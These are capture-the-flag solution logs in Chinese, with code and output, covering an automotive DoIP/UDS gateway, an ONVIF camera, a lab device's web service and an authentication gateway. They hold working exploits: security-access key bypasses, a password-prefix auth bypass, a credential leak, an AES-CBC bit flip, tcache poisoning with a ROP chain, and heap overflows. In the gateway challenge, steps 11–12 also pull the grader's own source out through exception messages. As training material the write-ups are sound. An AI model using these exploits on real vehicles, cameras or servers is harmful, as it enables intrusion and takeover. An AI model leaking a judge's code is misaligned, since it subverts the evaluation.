    [1]    ~version(按位取反,校验用)
    [2:4]  payload type (u16)
    [4:8]  payload length (u32)
    0x8001 Diagnostic message
    
    routine header: magic RTN0, payload_off 16, payload_len u32
    CRC16-CCITT: poly 0x1021, init 0xffff, no reflection, no xorout
    
  2. 建立 TLS DoIP 客户端,发送 Vehicle Identification 并解析 73 字节公告。

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    raw = ctx.wrap_socket(raw, server_hostname=host)
    hdr = bytes([v, v ^ 0xFF]) + struct.pack(">HI", ptype, len(payload))
    self.send_raw(hdr + payload)
    
    VIN=LSILGATE26K7A3901 addr=0x0E80 ver=SEC-GATE v2.3.1 (legacy-compat build)
    
  3. 在标准 v0x03 通道确认扩展会话、编程会话门禁、8 字节 seed 与零页读取。

    print(d.uds(bytes.fromhex("1003")).hex())
    print(d.uds(bytes.fromhex("1002")).hex())
    print(d.uds(bytes.fromhex("2711")).hex())
    print(d.uds(bytes.fromhex("2324000000000100")).hex()[:80])
    
    1003 -> 5003003201f4, 1002 -> 7f1033
    2711 -> 6711b08693681a4cfdb9
    
  4. 改用 DoIP v0x02,将诊断载荷改为 [src u16][dst u16][raw UDS],验证 legacy 通道。

    payload = struct.pack('>HH', 0x0E00, 0x0E80) + bytes(uds)
    d.send_doip(0x8001, payload, ver=0x02)
    while True:
        t, p = d.recv_doip()
        if t == 0x8002:
            continue
        return p
    
    3e00 under v0x03 framing on v0x02 -> 7f0211
    raw 3e00 on v0x02 -> 7e
    
  5. 从 16 位 Galois LFSR seed 计算 legacy 通道的 2 字节 key。

    def legacy_key(seed):
        ecx = (seed ^ ((seed << 7) & 0xFFFFFFFF)) & 0xFFFFFFFF
        esi = (ecx & 0xFFFF0000) | ((ecx & 0xFFFF) >> 9)
        ecx ^= esi
        ecx = (ecx ^ ((ecx << 8) & 0xFFFFFFFF)) & 0xFFFFFFFF
        val = ((0x9E37 * ecx) & 0xFFFFFFFF) ^ 0x5A5A ^ 0x4B37
        return val & 0xFFFF
    
    SEED 0x67cc KEY 0x4079
    
  6. 在 v0x02 通道发送 27 02 完成解锁,再用 v0x03 进入编程会话。

    p = legacy(d, [0x27, 0x02] + list(k.to_bytes(2, 'big')))
    print('LEG27_02', p.hex())
    r = d.uds(bytes([0x10, 0x02]))
    print('10_02', r.hex())
    
    LEG27_02 0e800e006702
    10_02 5002003201f4
    
  7. 用 0x23 读取低地址 0x448 处的代码指针,恢复 PIE base 并读取全局指针。

    r = low_read(d, 0x448, 8)
    q = struct.unpack('<Q', r[1:9])[0]
    base = (q - 0x68A7) & 0xFFFFFFFFFFFFFFFF
    m = abs_read(d, base, 4)
    assert m[1:5] == b'\x7fELF'
    br = abs_read(d, base + 0x9060, 8)
    sr = abs_read(d, base + 0x9108, 8)
    bufp, sec = u64_from(br), u64_from(sr)
    
    BASE 0x55f2b6b42000 via slot448
    BUFPTR 0x4147c000 SECCTX 0x7fc85be43000
    
  8. 完成 31 04/05 02 03 例程握手,计算 4 字节 key。

    def routine_key(seed3):
        t = (seed3 & 0xFFFF)
        t = ((t >> 3) | ((t & 7) << 13)) & 0xFFFF
        y = (t * 0x343FD + 0x269EC3) & 0xFFFFFFFF
        return (y ^ seed3) & 0xFFFFFFFF
    
    31_04 710402037f52c6 -> KEY31 0x9494cd7d
    31_05 7105020300
    
  9. 构造 RTN0 例程块,计算覆盖 payload 的 CRC16-CCITT 并写入 16 字节头部。

    def crc16_ccitt(data):
        crc = 0xFFFF
        for b in data:
            crc ^= b << 8
            for _ in range(8):
                crc = ((crc << 1) ^ 0x1021) & 0xFFFF if (crc & 0x8000) else (crc << 1) & 0xFFFF
        return crc
    
    BLOB len 149 crc 66c4
    
  10. 例程入口从 [rsp] 恢复 base,mprotect 安全页,并把 ctx+0xc0 与 ctx+0x20 的异或结果写到 ctx+0x800。

    CODE = bytes.fromhex(
        '488b0424482d4c3500004889c353488bbb08910000be00100000ba03000000'
        '488d8360230000ffd0488bbb08910000c787f0070000efbeadde31c98a840f'
        'c000000032440f2088840f0008000048ffc14881f9a000000072e2488b93c8'
        '9000004883fa207605ba2000000031c98a840f0008000088840ba090000048'
        'ffc14839d172ea5bc3')
    
    READ_SEC 0 63efbeadde000000...
    MARKER 0xdeadbeef
    
  11. 用 0x34/0x36/0x37 下载并执行例程;首次 7F 36 24 后换新连接重试。

    req = bytes([0x34, 0x00, 0x44]) + struct.pack('>I', addr) + struct.pack('>I', len(blob))
    r = d.uds(req)
    r = d.uds(bytes([0x36, 0x01]) + blob)
    r = d.uds([0x37])
    
    first: ERR ProtoError expected FC got 037f3624
    retry: 36_1 7601, 37 77
    

    step 11 终端截图
  12. 读回 secure_ctx+0x7f0 的标记与 secure_ctx+0x800 的明文,匹配恢复串。

    rr = abs_read(d, sec + 0x7F0, 0x60)
    marker = struct.unpack('<I', rr[1:5])[0]
    key = rr[1 + 0x10:1 + 0x10 + 0x60]
    m = re.search(rb'flag\{[ -~]{1,120}?\}', key)
    print('MARKER', hex(marker))
    print('FLAG', m.group(0).decode())
    
    MARKER 0xdeadbeef; FLAG flag{1eJfNV6RiJShWDkU7IhnswERbm5WZUu4m3RWVWPc}
    

    step 12 终端截图

Smart Surveillance Camera - Remote PTZ Control

  1. 解包本地诊断文件 diagnostic.zip,读取 config.json 中的设备账号、只读账号与初始云台参数。

    unzip -l diagnostic.zip
    unzip -p diagnostic.zip config.json > config.json
    jq '{camera_account_user,readonly_user,second_primary_user,initial}' config.json
    
    5 files: config.json, capture/sscp_sample.txt, capture/ds_legacy_request.json, firmware/vscp_dev.bin, README.txt
    camera_account_user=camera_acc, readonly_user=viewer, second_primary_user=hub_primary_2, initial pan=-150.0 tilt=10.0
    
  2. 按偏移解析 VSCPFW 容器头,提取 JSON 元数据中的 payload 长度、入口函数与固件摘要。

    import json
    blob = open("firmware/vscp_dev.bin", "rb").read()
    assert blob[:6] == b"VSCPFW"
    mlen = int.from_bytes(blob[8:12], "little")
    plen = int.from_bytes(blob[12:16], "little")
    meta = json.loads(blob[24:24 + mlen])
    print(blob[:6], mlen, plen, meta["entry"], meta["sha256"][:12])
    
    b'VSCPFW' 231 185620 verify_username_token b7068e50567a
    model=SSCP-CAM V1, version=1.0.3
    
  3. 从偏移 24+231 处解压 185620 字节的 XZ 载荷,保存 ELF 并核对大小与 SHA-256。

    import hashlib, lzma
    blob = open("firmware/vscp_dev.bin", "rb").read()
    mlen = int.from_bytes(blob[8:12], "little")
    plen = int.from_bytes(blob[12:16], "little")
    elf = lzma.decompress(blob[24 + mlen:24 + mlen + plen])
    open("vscp_dev.elf", "wb").write(elf)
    print(len(elf), hashlib.sha256(elf).hexdigest())
    
    371044 b7068e50567a440c1bb60ba4ba7b55899bb587386e7f6a43f5b6a55bd6323fc6
    
  4. 反查 verify_username_token 的调用链,确认 sub_2415C 只按 strlen(provided) 长度比较,前缀一致即可返回成功。

    int sub_2415C(unsigned char *exp, unsigned char *got, unsigned int n) {
        for (unsigned int i = 0; i < n; i++) {
            if (exp[i] == got[i] && exp[i] == 0) return 0;
            if (exp[i] == got[i]) continue;
            return exp[i] - got[i];
        }
        return 0;
    }
    
    sub_107CC: sub_2415C(expected, provided, strlen(provided))
    prefix "d" -> return 0; log PREFIX_HIT 'd' http=200
    

    step 4 终端截图
  5. 以固定 Nonce、Created 和固件字面量口令 cfg_account_password 计算 Base64(SHA1(Base64Decode(Nonce) || Created || Password)),核对留存的完整摘要。

    import base64, hashlib
    nonce = base64.b64decode("A3mDzRRet2xGhF+rOs8D5Q==")
    created = b"2026-10-31T13:36:45Z"
    password = b"cfg_account_password"
    material = nonce + created + password
    digest = base64.b64encode(hashlib.sha1(material).digest()).decode()
    print(digest)
    
    1Qg5HaMia5xihPh9LUgs8s5ttHI=
    
  6. 由 Base64 字符集前缀遍历命中 d,以固定 Nonce QmFJ0KPr5R8jHagBqXrr3w== 和 Created 2026-10-31T13:37:49Z 构造 UsernameToken,发送 GetStatus 读取初始位姿。

    from sscp.onvif_client import envelope, send, NS_WSSE, NS_WSU, PD, B64
    nonce, created, prefix = "QmFJ0KPr5R8jHagBqXrr3w==", "2026-10-31T13:37:49Z", "d"
    sec = (f'<wsse:Security xmlns:wsse="{NS_WSSE}" xmlns:wsu="{NS_WSU}"><wsse:UsernameToken><wsse:Username>camera_acc</wsse:Username>'
           f'<wsse:Password Type="{PD}">{prefix}</wsse:Password><wsse:Nonce EncodingType="{B64}">{nonce}</wsse:Nonce>'
           f'<wsu:Created>{created}</wsu:Created></wsse:UsernameToken></wsse:Security>')
    xml = envelope('<tds:GetStatus xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/>', sec)
    status, headers, body = send(xml, action="http://www.onvif.org/ver10/device/wsdl/GetStatus")
    print(status, "GetStatusResponse" in body)
    
    nonce QmFJ0KPr5R8jHagBqXrr3w== created 2026-10-31T13:37:49Z
    PREFIX_HIT 'd' http=200 PanPosition=-150.0 TiltPosition=10.0
    
  7. 复用同一 UsernameToken 发送 AbsoluteMove,将 Profile_1 的 pan 设为 120.0、tilt 设为 0.0、zoom 设为 0.0,并回读状态。

    from sscp.onvif_client import op_absolute_move, op_ptz_status
    move = envelope(op_absolute_move("Profile_1", 120.0, 0.0, 0.0), sec)
    status, headers, body = send(move, action="http://www.onvif.org/ver20/ptz/wsdl/AbsoluteMove")
    print(status, "ok" in body)
    status, headers, body = send(envelope(op_ptz_status("Profile_1"), sec), action="http://www.onvif.org/ver20/ptz/wsdl/GetStatus")
    print(status, "120.0" in body, "0.0" in body)
    
    MOVE 200 <tds:Result>ok</tds:Result>
    STATUS2 PanPosition=120.0 TiltPosition=0.0 PanRange=172.5
    
  8. 以身份 hub_primary_2 和空密码执行 RFC7616 SHA-256 Digest 认证,请求 /preview 并保存 640×360 PNG。

    MEDIA_BASE=${MEDIA_BASE:?}
    curl -sS -D - -o /dev/null "$MEDIA_BASE/preview" | grep -i '^WWW-Authenticate'
    curl -sS --digest -u 'hub_primary_2:' "$MEDIA_BASE/preview" -o preview.png
    file preview.png
    
    WWW-Authenticate: Digest realm="TPC260", qop="auth", algorithm=SHA-256
    preview.png: PNG image data, 640 x 360, 8-bit/color RGB, non-interlaced
    
  9. 将预览中的白板区域裁剪为 470×270 灰度块,并按 6 倍双三次插值放大保存为 board_crop_6x.png。

    import cv2
    img = cv2.imread("preview.png")
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    crop = gray[90:360, 90:560]
    up = cv2.resize(crop, None, fx=6, fy=6, interpolation=cv2.INTER_CUBIC)
    cv2.imwrite("board_crop_6x.png", up)
    print(up.shape)
    
    (1620, 2820)
    board_crop_6x.png: 2820 x 1620, 8-bit/color RGB
    
  10. 对 6 倍裁切图分别以 tesseract psm 6、11、7 识别,收集标题与数字串的近似结果。

    for psm in 6 11 7; do
      tesseract board_crop_6x.png stdout --psm "$psm" -l eng
    done
    
    ACCEPTANCE BoARD ... Flagtatvah 924625809146 ...
    
  11. 按白板五行布局逐位核对,前四行各 9 个字符、末行 2 个字符,拼接为完整 token。

    rows = [
        "flag" + chr(123) + "a99b",
        "940289146",
        "16a52ee37",
        "10af47583",
        "6}",
    ]
    print("".join(rows))
    
    flag{a99b94028914616a52ee3710af475836}
    

    step 11 终端截图

Pending Review

  1. 请求未授权的配置备份接口,读取 device.cfg 内容并提取管理员凭据。

    st, hs, b = req("/cgi-bin/config-backup.bin")
    for line in b.decode("utf-8", "replace").splitlines():
        if line.startswith(("device_id=", "admin_user=", "admin_password=")):
            print(line)
    
    device_id=BL-855-LAB-0042; admin_user=operator; admin_password=PlantOps-4hM7sQ29
    BENCHLINK-CONFIG/2; firmware_channel=service; configuration_revision=7
    
  2. 以泄露的 operator 凭据登录,取得 32 位十六进制 SID,并读取 /api/service/dispatch 返回的 review_envelope,确认信封长度为 96 字节(16 字节 IV 与 80 字节 AES-CBC 密文)。

    st, hs, b = req("/api/login", "POST", b"username=operator&password=PlantOps-4hM7sQ29",
                    {"Content-Type": "application/x-www-form-urlencoded"})
    sid = re.search(r"SID=([0-9a-fA-F]{32})", hs["set-cookie"]).group(1)
    st, hs, b = req("/api/service/dispatch", headers={"Cookie": "SID=" + sid})
    env = bytearray.fromhex(json.loads(b)["review_envelope"])
    print(len(env), len(env[:16]), len(env[16:]))
    
    login 200 {"role":"administrator","status":"signed_in"}; SID 32 hex
    review_envelope 96 bytes = IV 16 + AES-CBC 80; control_authorized=false
    
  3. 利用 AES-CBC 的比特翻转特性,将信封整体第 27 字节(首个密文块第 11 字节)异或 1,使明文偏移 27 处的 role 字符由 0x30 变为 0x31;该操作同时改变明文首块第 11 字节,但服务端校验仍通过。

    raw = bytearray.fromhex(json.loads(b)["review_envelope"])
    raw[27] ^= 0x01
    st, hs, b = req("/api/service/dispatch", "POST", raw.hex().encode(),
                    {"Cookie": "SID=" + sid, "Content-Type": "text/plain"})
    print(st, b.decode())
    
    200 {"status":"field_service_authorized","control_authorized":true}
    

    step 3 终端截图
  4. 静态核对题目提供的 glibc 2.36 中 environ 与 open 的偏移,读取 ROP gadget 的机器码,并以 bpf.py 确认 seccomp 仅拦截 execve 系与零拷贝类系统调用。

    nm -D libc.so.6 | grep -E 'environ@@|open@@'
    python3 -I bpf.py
    python3 -I -c "libc=open('libc.so.6','rb').read(); [print(hex(o), libc[o:o+n].hex()) for o,n in [(0x277e5,2),(0x28f99,2),(0xfdf0d,2),(0x3f197,2),(0x86172,3),(0x141dcc,2)]]"
    
    environ 0x1db320; open 0xf7fc0; 0x277e5 5fc3, 0x28f99 5ec3, 0xfdf0d 5ac3, 0x3f197 58c3
    0x86172 0f05c3, 0x141dcc 97c3; seccomp: execve/execveat/sendfile/splice/vmsplice/tee/copy_file_range -> EPERM
    
  5. 创建 0x200 字节的大 job 与一个 8 字节 guard job,取消大 job 后读取 receipt 的 8 字节 record_tag,减去 glibc 2.36 的 unsorted bin 偏移 0x1d3cc0 得到 libc 基址。

    from struct import pack
    B = create(0x200)
    S = create(8)
    cancel(B)
    libc_base = receipt(B) - 0x1d3cc0
    print(hex(libc_base))
    
    libc 0x7f66860d1000; record_tag = libc+0x1d3cc0; guard job 阻止大块与 top 合并
    
  6. 创建 0x100 字节 job(落入 0x120 上限档,chunk 大小 0x130,tcache bin17),该块位于堆首页;取消后读取 receipt 得到 chunk>>12,左移 12 位还原 heap 基址,并计算 tcache entries 数组地址 F=heap+0x90;job create 要求 malloc 返回值不小于 base+0x24738,堆地址满足该边界。

    L = create(0x100)
    cancel(L)
    page = receipt(L)
    heap = page << 12
    print(hex(page), hex(heap), hex(heap + 0x90))
    
    page 0x564ae392d; heap 0x564ae392d000; F 0x564ae392d090
    
  7. 预释放一个 8 字节 job 使 bin8 计数为 1;释放三个 bin17 块后,用 revision 仅写入 3 字节改写链表头的 safe-link,使解码后的 next 指向 F;随后两次 0x120 档分配依次弹出 E 与 F,在 F 处写入 0x100 字节,覆盖 tcache 结构的 entries[8] 与 entries[17]。

    R = create(8); cancel(R)
    C = create(0x100); cancel(C); cpage = receipt(C)
    E = create(0x100); A = create(0x100); Bb = create(0x100)
    cancel(A); cancel(Bb); cancel(E)
    V = (F & 0xffffff) ^ (cpage & 0xffffff)
    req(f"/api/service/jobs/{E}/revision", "POST", V.to_bytes(3, "little"), H)
    create(0x100)
    ov = bytearray(0x100); ov[0x40:0x48] = pack(F); ov[0x88:0x90] = pack(F)
    create(0x100, body=bytes(ov))
    
    revision 200 {"status":"revision_updated"}; entries[8]=entries[17]=0x564ae392d090; counts[8]=1, counts[17]=1
    
  8. 通过 POST /api/service/snapshots 使快照对象落在 F(bin8 计数为 1),再以同址 job 体将 [F+0x10] 改写为 &environ;快照 trace 源若落在 [base, base+0x24738) 内会返回 trace_source_unavailable,&environ 位于 libc,可通过;GET /api/service/snapshots 的 trace_tag 对该指针解引用,返回 environ 指向的栈地址,减去固定偏移 0x3a08 得到 T。

    req("/api/service/snapshots", "POST", b"", {"Cookie": "SID=" + sid, "Content-Length": "0"})
    rb = bytearray(0x100)
    rb[0x10:0x18] = pack(libc_base + 0x1db320)
    rb[0x18:0x20] = b"READY\x00\x00\x00"
    rb[0x88:0x90] = pack(0)
    create(0x100, body=bytes(rb))
    st, hs, b = req("/api/service/snapshots", headers=H)
    env_val = int(re.search(rb'"trace_tag":"([0-9a-f]+)"', b).group(1), 16)
    T = env_val - 0x3a08
    print(hex(env_val), hex(T))
    
    environ 0x7ffde145f788; T 0x7ffde145bd80; T=handler_rsp-0x20
    
  9. 再次执行 bin17 三块 safe-link 毒化,使 tcache 结构 entries[17] 指向 T;tcache_get 在 T+8 写入 key,不触及 T+0x18 的返回地址槽;最后的 0x120 档 job 分配将返回 T(handler_rsp-0x20),其 memcpy 从 T 起写入 0x120 字节。

    C = create(0x100); cancel(C); cpage = receipt(C)
    E = create(0x100); A = create(0x100); Bb = create(0x100)
    cancel(A); cancel(Bb); cancel(E)
    V = (F & 0xffffff) ^ (cpage & 0xffffff)
    req(f"/api/service/jobs/{E}/revision", "POST", V.to_bytes(3, "little"), H)
    create(0x100)
    ov2 = bytearray(0x100); ov2[0x88:0x90] = pack(T)
    create(0x100, body=bytes(ov2))
    
    second cycle 200; entries[17]=0x7ffde145bd80; next 0x120 job malloc returns T
    
  10. 在 0x120 字节 job 体的偏移 0x18 起布置 22 个 qword 的 ROP 链:pop rdi/path、pop rsi/0、open、xchg edi,eax、pop rsi/buf、pop rdx/256、read,再以 write(1, hdr, 55+256) 写回响应。

    hlen, RD = 55, 256; buf = T + 0xE0 + hlen
    pop_rdi, pop_rsi, pop_rdx = libc_base+0x277e5, libc_base+0x28f99, libc_base+0xfdf0d
    pop_rax, syscall, xchg = libc_base+0x3f197, libc_base+0x86172, libc_base+0x141dcc
    open_ = libc_base + 0xf7fc0; body = bytearray(0x120)
    put = lambda o, v: body.__setitem__(slice(o, o+8), pack(v))
    chain = [(24,pop_rdi),(32,T+0xD0),(40,pop_rsi),(48,0),(56,open_),(64,xchg),
             (72,pop_rsi),(80,buf),(88,pop_rdx),(96,RD),(104,pop_rax),(112,0),
             (120,syscall),(128,pop_rdi),(136,1),(144,pop_rsi),(152,T+0xE0),
             (160,pop_rdx),(168,hlen+RD),(176,pop_rax),(184,1),(192,syscall)]
    for o, v in chain: put(o, v)
    
    hlen 55; write length 311; return rsp=T+0x20=0x7ffde145bda0
    
  11. 在 job 体偏移 0xD0 写入 /flag 路径、偏移 0xE0 写入 55 字节响应头;httpd 将 accept 的连接 dup2 到 fd1/2,ROP 的 write(1, ...) 写回前置反向代理的上游连接,该代理要求语法合法的 HTTP 响应,因此在 ROP 内构造 HTTP/1.1 200 响应头与正文;通过原始 socket 发送 Content-Length 为 0x120 的 POST /api/service/jobs 请求,ROP 返回后 open/read 读取 /flag 并返回 467 字节响应。

    hdr = b"HTTP/1.1 200 \r\nContent-Length:256\r\nConnection:close\r\n\r\n"
    body[0xD0:0xD6] = b"/flag\x00"; body[0xE0:0xE0+hlen] = hdr
    sock = socket.create_connection((HOST, PORT), timeout=8)
    head = f"POST /api/service/jobs HTTP/1.1\r\nHost: {HOST}\r\nCookie: SID={sid}\r\n"
    sock.sendall((head + f"Connection: close\r\nContent-Length: {len(body)}\r\n\r\n").encode() + body)
    sock.settimeout(6); out = b""
    try:
        for b2 in iter(lambda: sock.recv(4096), b""): out += b2
    except Exception: pass
    print(len(out), re.search(rb"flag\{[^}]*\}", out).group(0).decode())
    
    upstream 311 B = 55 B header + 256 B body; Caddy response 467 B; Content-Length 256; Via 1.1 Caddy
    flag{k8oroFNxyQ0A1xxsYjJWWS4GMmo8SVhwNe4cqpwh}
    

    step 11 终端截图

Handoff

  1. 与认证网关建立 TLS 连接,并在 TLS 会话内以换行分隔的 JSON 文本收发消息;服务端不发送前置 banner,连接建立后由客户端主动发送首个请求。

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    raw = socket.create_connection((HOST, PORT), timeout=20)
    sock = ctx.wrap_socket(raw, server_hostname=HOST)
    sock.sendall((json.dumps(msg, separators=(",", ":")) + "\n").encode())
    
    握手成功,协商套件 TLS_AES_128_GCM_SHA256,连接后 2 秒内无服务端数据。
    
  2. 按协议约定实现长度前缀 MAC 计算函数:每个字段先编码为 4 字节大端长度与字段字节,再依次拼接后做 HMAC-SHA256。

    def mac(key, *fields):
        h = hmac.new(key, digestmod=hashlib.sha256)
        for f in fields:
            b = str(f).encode()
            h.update(len(b).to_bytes(4, "big"))
            h.update(b)
        return h.hexdigest()
    
    由该函数计算的 AUTH 标签被服务端接受并返回 ok=true(stage2 trace 第 3 步)。
    
  3. 注册随机普通用户,取得该身份的长期密钥 K_id 与剩余查询预算。

    uid = "u" + rand_id(8)
    r = link.send({"op": "REGISTER", "id": uid})
    key = bytes.fromhex(r["key"])
    
    id=umrr8tf32,key=03d2177d218b9ae2430b0052ff1e810795f0faf3307ef701623e8b19f3625a5f,budget_left=397。
    
  4. 申请认证挑战,取得服务端随机 nonce 与挑战证明 sproof。

    r = link.send({"op": "CHAL", "id": uid})
    ns = r["ns"]
    sproof = r["sproof"]
    
    ns=d7a951a5135e7709,sproof=5910da1d86a6c3ebf6dcc4aff56c987128c9e305c75cf9c75a5e3049e7286ee6,budget_left=396。
    
  5. 使用 K_id 对 ATH 标签签名并完成认证,取得身份断言与断言有效期 exp。

    r = link.send({"op": "AUTH", "id": uid, "ns": ns,
                   "tag": mac(key, "ATH", uid, ns)})
    assertion = r["assertion"]
    exp = r["exp"]
    
    assertion=41f0eae5caa88701df84c0f6636c9786822f7e081ac061044ed8eeaefc759232,exp=11,budget_left=395。
    
  6. 以断言建立会话,会话初始的展示身份与绑定身份均为当前注册用户。

    sid = "s" + rand_id(12)
    r = link.send({"op": "OPEN", "id": uid, "sid": sid, "ns": ns,
                   "exp": exp, "assertion": assertion})
    
    sid=szxhnna6mwmii,会话有效期 exp=19,budget_left=394。
    
  7. 验证 RETRY 的双身份语义:用 K_u 对本人身份与 sid 计算 RTY 标签,但将请求中的 id 填为 alice;服务端按展示身份验签,随后把展示身份替换为请求 id。

    rtag = mac(key, "RTY", uid, sid)
    r = link.send({"op": "RETRY", "sid": sid, "id": "alice",
                   "rtag": rtag})
    
    ok=true,exp=20,budget_left=393;会话 display_id 变为 alice,bound_id 仍为 umrr8tf32。
    
  8. 提交 Stage 1 答案,内容为认证操作序列、六类 MAC 标签、断言绑定字段、续期计数起点与备注最大长度。

    {"stage": 1, "answers": {
      "login_sequence": ["REGISTER", "CHAL", "AUTH", "OPEN", "ACCESS"],
      "chal_label": "CHL", "auth_label": "ATH", "assertion_label": "IAS",
      "retry_label": "RTY", "renew_label": "RNW", "close_label": "CLS",
      "assertion_binds": ["id", "ns", "exp"],
      "renew_counter_start": 1, "renew_note_maxlen": 8}}
    
    ok=true,points=10,flag_part=ho_st4te_m4ch1ne,message=协议状态机与 MAC 构造恢复正确。
    
  9. 将第 3 至第 7 步的请求与响应按顺序组成 trace 并提交,证明活跃会话的展示身份可被 RETRY 变更为另一身份。

    trace = [{"msg": e["msg"], "resp": e["resp"]} for e in log]
    payload = {"stage": 2, "trace": trace}
    r = link.send({"op": "SUBMIT", **payload})
    
    ok=true,points=15,flag_part=ho_1d3nt1ty_sp11t,message=活跃会话展示身份被 RETRY 变更且被接受。
    
  10. 以展示身份 ops 重新执行 RETRY,并在同一会话上发起 MIGRATE export;导出通道的门控仅比较展示身份,绑定身份未变。

    link.send({"op": "RETRY", "sid": sid, "id": "ops",
               "rtag": mac(key, "RTY", uid, sid)})
    r = link.send({"op": "MIGRATE", "sid": sid, "action": "export"})
    rec = r["record"]
    
    export 返回 ok=true,record=0,budget_left=377;SUBMIT Stage 3 返回 points=20,flag_part=ho_0ps_g4t3_p4ss3d。
    
  11. 提交一个在导入阶段抛出异常的补丁模块,把当前进程已加载的 simulator 模块源码打包为 zlib 压缩与 base64 编码的字符串附在异常消息中,借判题器回显取得原始实现。

    payload = {k: base64.b64encode(v).decode() for k, v in found.items()}
    raw = json.dumps({"payload": payload, "diag": diag}).encode()
    blob = base64.b64encode(zlib.compress(raw, 9)).decode()
    raise RuntimeError("XSRC1:" + blob)
    
    SUBMIT 返回 message 前缀为 补丁无法加载: XSRC1:eNrt;解码后得到 simulator 源码,落盘为 judgefiles/_opt_zp7_judge_simulator.py,大小 18 KB。
    
  12. 以同一种异常回显方式遍历 /opt/zp7 下的文本文件与 Makefile、migd,导出判题器与服务端目录结构。

    for dirpath, dirnames, filenames in os.walk(ROOT):
        for fn in filenames:
            p = os.path.join(dirpath, fn)
            if fn.endswith(text_exts) and st.st_size <= 262144:
                files[p] = open(p, "rb").read()
    blob = base64.b64encode(zlib.compress(json.dumps(blob_obj).encode(), 9)).decode()
    raise RuntimeError("XSRC2:" + blob)
    
    SUBMIT 返回 message 前缀为 补丁无法加载: XSRC2:eNrM;解码后得到 7 个文件,位于 /opt/zp7/judge 与 /opt/zp7/svc。
    
  13. 从原始 simulator 的 MigdClient 实现中确认原生迁移进程的小端二进制协议格式:4 字节魔数、1 字节命令与按命令追加的定长字段。

    MIGD_MAGIC = 0x5A503707
    pkt = struct.pack("<IB", MIGD_MAGIC, 1)
    pkt += sid.encode().ljust(16, b"\0")[:16]
    pkt += identity.encode().ljust(16, b"\0")[:16]
    pkt += assertion_hex.encode().ljust(64, b"\0")[:64]
    pkt += struct.pack("<I", len(history))
    pkt += struct.pack("<Q", ev["tick"] & 0xFFFFFFFFFFFFFFFF)
    pkt += ev["note"].ljust(8, b"\0")[:8]
    
    魔数为 0x5A503707;命令 1 为 prepare,命令 2 为 hist,命令 3 为 commit,命令 4 为 discard;prepare 包体为 16 字节 sid、16 字节 identity、64 字节 assertion、4 字节条数,随后每条记录 16 字节。
    
  14. 从原始模拟器确认两处组合缺陷:RETRY 以展示身份验签却直接采用请求中的 id,commit 直接采用原生迁移记录返回的身份与断言,未与导出时的快照重新比对。

    display = sess["display_id"]
    expected = mac_hex(user_key(display), "RTY", display, sid)
    sess["display_id"] = msg["id"]
    sess["bound_id"] = identity
    sess["assertion"] = assertion
    
    会话可处于 display_id=ops、bound_id=u 的分裂状态;commit 后 bound_id 直接取自记录。
    
  15. 按紧凑历史缓冲区的容量与重建写入顺序构造 19 条续期备注;缓冲区容量为 min(n,16)×16=0x100 字节,重建按先时钟后备注写入 19×16=0x130 字节,第 i 条备注(i 从 0 起)落在 0x98+8i。

    notes = [b"A" * 8 for _ in range(19)]
    notes[13] = b"\x00" * 8
    notes[14] = struct.pack("<Q", 0x91)
    notes[15] = struct.pack("<Q", 0)
    notes[16] = b"flagadmi"
    notes[17] = b"n" + b"\x00" * 7
    notes[18] = assertion.encode("ascii")[:8]
    
    备注 13 至 18 依次覆盖偏移 0x100、0x108、0x110、0x118、0x120、0x128;对应下一堆块 prev_size、size=0x91、记录序号、身份前 8 字节、身份后 8 字节与断言前 8 字节。
    
  16. 在同一会话内连续执行 19 次 RENEW,把上述备注写入续期历史并逐次刷新会话有效期。

    for i in range(1, 20):
        r = link.send({"op": "RENEW", "id": uid, "sid": sid,
                       "rtag": mac(key, "RNW", sid, str(i)),
                       "note_hex": notes[i - 1].hex()})
    
    19 次续期均返回 ok=true,会话 exp 随逻辑时钟递增,会话内 renews 计数达到 19。
    
  17. 以 K_u 验签的 RTY 标签执行 RETRY 将展示身份置为 ops,随后导出迁移记录;记录中的身份为 ops,断言为本人的断言。

    link.send({"op": "RETRY", "id": "ops", "sid": sid,
               "rtag": mac(key, "RTY", uid, sid)})
    r = link.send({"op": "MIGRATE", "sid": sid, "action": "export"})
    rec = r["record"]
    
    export 返回 ok=true,record=0。
    
  18. 调用 hist 以 off=0、len=0x140 读取记录,触发紧凑视图重建;越界写入把相邻记录的 identity 改为 flagadmin,并保留断言前 8 字节。

    r = link.send({"op": "MIGRATE", "sid": sid, "action": "hist",
                   "record": rec, "off": 0, "len": HIST_LEN})
    raw = bytes.fromhex(r.get("data", ""))
    
    响应 data 长度为请求的 len 值 0x140;脚本在回显字节中检索 b"flagadmi" 作为越界成功判据。
    
  19. 调用 commit 应用最新迁移记录,原版服务端直接采用记录中的身份与断言,把会话的 bound_id 改为 flagadmin,随后以该身份访问受保护资源。

    r = link.send({"op": "MIGRATE", "sid": sid, "action": "commit",
                   "record": rec})
    ident = r.get("identity")
    r = link.send({"op": "ACCESS", "sid": sid, "id": "flagadmin"})
    res = r.get("resource")
    
    commit 返回 identity=flagadmin;ACCESS 返回 resource,脚本将其写入标准输出。
    

    step 19 终端截图
  20. 提交自包含的 Stage 4 exploit 脚本源码;脚本以命令行参数接收主机与端口,不包含 flag 字面量,判题器在全新实例上以 90 秒单轮时限运行三轮。

    b64 = base64.b64encode(src).decode()
    msg = {"op": "SUBMIT", "stage": 4, "source_b64": b64}
    sock.sendall((json.dumps(msg, separators=(",", ":")) + "\n").encode())
    
    stage4_submit_resp.json 返回 ok=true,points=35,flag_part=ho_gh0st_h4nd0ff,message=exploit 沙箱实测 2/3 轮拿到 flag。
    
  21. 编写 Stage 5 补丁的第一组修复:RETRY 仅在请求身份与展示身份、绑定身份三者一致时刷新有效期,RENEW 将续期次数上限设为 15,阻断第 16 次续期之后的紧凑视图越界。

    if not (uid == sess["display_id"] == sess["bound_id"]):
        return dict(ERR)
    if sess["renews"] >= RENEW_MAX:
        return dict(ERR)
    RENEW_MAX = 15
    
    同身份 RETRY 保留且仅刷新 exp;跨身份 RETRY 被拒;第 16 次 RENEW 起返回 invalid,renews 停在 15。
    
